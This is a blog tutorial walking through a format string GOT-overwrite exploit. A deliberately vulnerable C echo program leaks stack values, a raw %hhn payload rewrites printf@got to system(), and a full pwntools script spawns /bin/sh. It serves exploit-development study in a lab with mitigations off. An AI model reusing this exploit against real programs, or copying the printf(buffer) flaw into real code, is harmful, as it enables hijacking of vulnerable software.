Format String GOT Overwrite Attack: From Printf to System Shell

September 15, 2025

Format String GOT Overwrite Attack: From Printf to System Shell

This C code in this blog demonstrates a format string vulnerability that allows arbitrary memory writes. By overwriting the GOT entry of printf with the address of system, all subsequent calls to printf are transparently redirected to system. Because the vulnerable program repeatedly calls printf(buffer) with user-controlled input, sending /bin/sh after the overwrite results in system("/bin/sh") and spawns a shell. This works because the binary has no RELRO (writable GOT), NX (irrelevant since we reuse libc), and no PIE (stable addresses). In modern hardened binaries with full RELRO and ASLR, this exact exploit would fail, but the principle demonstrates the power of format string vulnerabilities for function pointer hijacking via GOT overwrites.

Binary Setup

gcc -Wall -Wextra -Iinclude -g -fno-stack-protector -no-pie -Wl,-z,norelro -o bin/10_simple src/10_simple.c

Security Mitigations:

    Arch:       amd64-64-little
    RELRO:      No RELRO        <- GOT entries are writable
    Stack:      No canary found
    NX:         NX enabled      <- Prevents shellcode execution
    PIE:        No PIE (0x400000)
    Stripped:   No
    Debuginfo:  Yes

No RELRO means GOT entries are writable after program startup, making GOT overwrites possible.

Source Code Analysis

Heavily inspired by ir0nstone's excellent explanation

#include <stdio.h>
#include <string.h>

// Vulnerable function that demonstrates format string bug
void vuln() {
    char buffer[300];
    printf("Enter input:\n");

    while(1) {
        printf("> ");
        fflush(stdout);

        // Get user input
        if (!fgets(buffer, sizeof(buffer), stdin)) {
            break;
        }

        // Remove newline if present
        buffer[strcspn(buffer, "\n")] = 0;

        // VULNERABILITY: User input passed directly as format string
        // This should be: printf("%s", buffer);
        // Instead we have: printf(buffer);
        printf("Echo: ");
        printf(buffer);  // <-- Format string vulnerability here!
        printf("\n");
    }
}

int main() {
    vuln();
    return 0;
}

The Critical Vulnerability: printf(buffer) where user-controlled input is passed directly as the format string to printf().

Format String Vulnerability Fundamentals

Want to know more about this subject? Check out my other blog post: Format String Vulnerability Analysis

What Makes Format Strings Dangerous

Format string vulnerabilities occur when user input is passed as the format string parameter to functions like printf(). This allows attackers to:

  1. Read Memory: Using specifiers like %x, %p, %s
  2. Write Memory: Using the %n specifier family
  3. Control Execution: By overwriting function pointers or GOT entries

The %n Specifier Family

The %n family writes the number of characters printed so far to a memory address:

  • %n - writes 4 bytes (int)
  • %hn - writes 2 bytes (short)
  • %hhn - writes 1 byte (char)
  • %lln - writes 8 bytes (long long)

Example:

int count;
printf("Hello%n", &count);  // count = 5 (length of "Hello")

Positional Arguments

The $ syntax allows accessing specific positions on the stack:

  • %6$p - read pointer at stack position 6
  • %6$n - write to address at stack position 6

Step-by-Step Exploit Development

Step 1: Finding the Stack Offset

First, we need to find where our input appears on the stack: So in this case, we send 8 As followed by multiple %p specifiers to leak stack values. so we can check where our input lands.

$ ./bin/10_simple
Enter input:
> AAAAAAAA %p %p %p %p %p %p %p %p %p %p
Echo: AAAAAAAA 0x203a6f68 (nil) (nil) 0x4046d7 0x410 0x4141414141414141 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x702520702520

Analysis:

  • 0x4141414141414141 appears at position 6 (AAAA = 0x41414141)
  • This means our input buffer starts at stack position 6
  • We can write to addresses placed at this position using %6$n

Step 2: Understanding GOT Overwrites

What is the GOT? The Global Offset Table (GOT) contains addresses of dynamically linked functions. When a program calls printf(), it actually jumps to the address stored in printf@got.

The Attack Strategy:

  1. Overwrite printf@got with the address of system()
  2. When the program later calls printf("/bin/sh"), it actually calls system("/bin/sh")
  3. This spawns a shell

Step 3: Analyzing the Real Payload

fmtstr_payload from pwntools does it automaticaly, but what happens under the hood? The actual payload sent was:

Raw Payload (113 bytes):
%80c%14$lln%47c%15$hhn%8c%16$hhn%62c%17$hhn%50c%18$hhn%8c%19$hhn\x18\x33@\x00\x00\x00\x00\x00\x1d\x33@\x00\x00\x00\x00\x00\x19\x33@\x00\x00\x00\x00\x00\x1a\x33@\x00\x00\x00\x00\x00\x1b\x33@\x00\x00\x00\x00\x00\x1c\x33@\x00\x00\x00\x00\x00

Hex representation:

25 38 30 63 25 31 34 24 6c 6c 6e 25 34 37 63 25    |%80c%14$lln%47c%|
31 35 24 68 68 6e 25 38 63 25 31 36 24 68 68 6e    |15$hhn%8c%16$hhn|
25 36 32 63 25 31 37 24 68 68 6e 25 35 30 63 25    |%62c%17$hhn%50c%|
31 38 24 68 68 6e 25 38 63 25 31 39 24 68 68 6e    |18$hhn%8c%19$hhn|
18 33 40 00 00 00 00 00 1d 33 40 00 00 00 00 00    |·3@·····3@····|
19 33 40 00 00 00 00 00 1a 33 40 00 00 00 00 00    |·3@·····3@····|
1b 33 40 00 00 00 00 00 1c 33 40 00 00 00 00 00    |·3@·····3@····|

Step 4: Payload Breakdown

The payload has two parts:

Part 1: Format String (64 bytes):

%80c%14$lln%47c%15$hhn%8c%16$hhn%62c%17$hhn%50c%18$hhn%8c%19$hhn

Part 2: Target Addresses (48 bytes):

\x18\x33@\x00\x00\x00\x00\x00    # 0x403318 (printf@got + 0)
\x1d\x33@\x00\x00\x00\x00\x00    # 0x40331d (printf@got + 5)
\x19\x33@\x00\x00\x00\x00\x00    # 0x403319 (printf@got + 1)
\x1a\x33@\x00\x00\x00\x00\x00    # 0x40331a (printf@got + 2)
\x1b\x33@\x00\x00\x00\x00\x00    # 0x40331b (printf@got + 3)
\x1c\x33@\x00\x00\x00\x00\x00    # 0x40331c (printf@got + 4)

Step 5: How the Write Process Works

The format string constructs the target address (0x7ffff7c58750 = address of system()) byte by byte:

  1. %80c%14$lln: Print 80 characters, then write 8 bytes (value 80) to address at stack position 14 (0x403318)
  2. %47c%15$hhn: Print 47 more characters (total now 127), write 1 byte (value 127) to position 15 (0x40331d)
  3. %8c%16$hhn: Print 8 more characters (total 135), write 1 byte (value 135) to position 16 (0x403319)
  4. %62c%17$hhn: Print 62 more characters (total 197), write 1 byte (value 197) to position 17 (0x40331a)
  5. %50c%18$hhn: Print 50 more characters (total 247), write 1 byte (value 247) to position 18 (0x40331b)
  6. %8c%19$hhn: Print 8 more characters (total 255), write 1 byte (value 255) to position 19 (0x40331c)

Result: The printf@got entry is overwritten with the address of system(). This is easily done with the pwntools fmtstr_payload function fortunately.

Complete Exploit Analysis

The Python Exploit

from pwn import *

elf = context.binary = ELF('./bin/10_simple')
libc = elf.libc
libc.address = 0x00007ffff7c00000       # ASLR disabled for demo
context.log_level = "debug"
context.arch = 'amd64'

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([elf.path] + argv, *a, **kw)

io = start()

# Generate format string payload to overwrite printf GOT with system
payload = fmtstr_payload(6, {elf.got['printf'] : libc.sym['system']})
io.sendline(payload)

# Now printf() calls are hijacked to system()
io.sendline('/bin/sh')  # This becomes system("/bin/sh")

io.clean()
io.interactive()

Execution Flow

  1. First Input: Format string payload overwrites printf@got

    • Before: printf@gotprintf() function
    • After: printf@gotsystem() function
  2. Second Input: /bin/sh string

    • Program calls: printf("/bin/sh")
    • Actually executes: system("/bin/sh")
    • Result: Shell spawned!

Why This Attack Bypasses Modern Protections

ASLR (Address Space Layout Randomization)

  • Challenge: ASLR randomizes library base addresses
  • Bypass: In this demo, ASLR is disabled (libc.address = 0x00007ffff7c00000)
  • Real World: Would need an information leak to determine libc base

NX Bit (Non-Executable Stack)

  • Challenge: Cannot execute shellcode on stack
  • Bypass: GOT overwrite redirects to existing code (system())
  • Result: No shellcode needed, uses legitimate library functions

No RELRO (Relocation Read-Only)

  • Challenge: Modern binaries use FULL RELRO to make GOT read-only
  • Bypass: This binary has no RELRO, so GOT remains writable
  • Real World / common compilation: FULL RELRO would prevent this attack

Try it yourself with my Github Repo - Exploit Development Step-by-Step There you are able to check the whole code and also the full exploit script.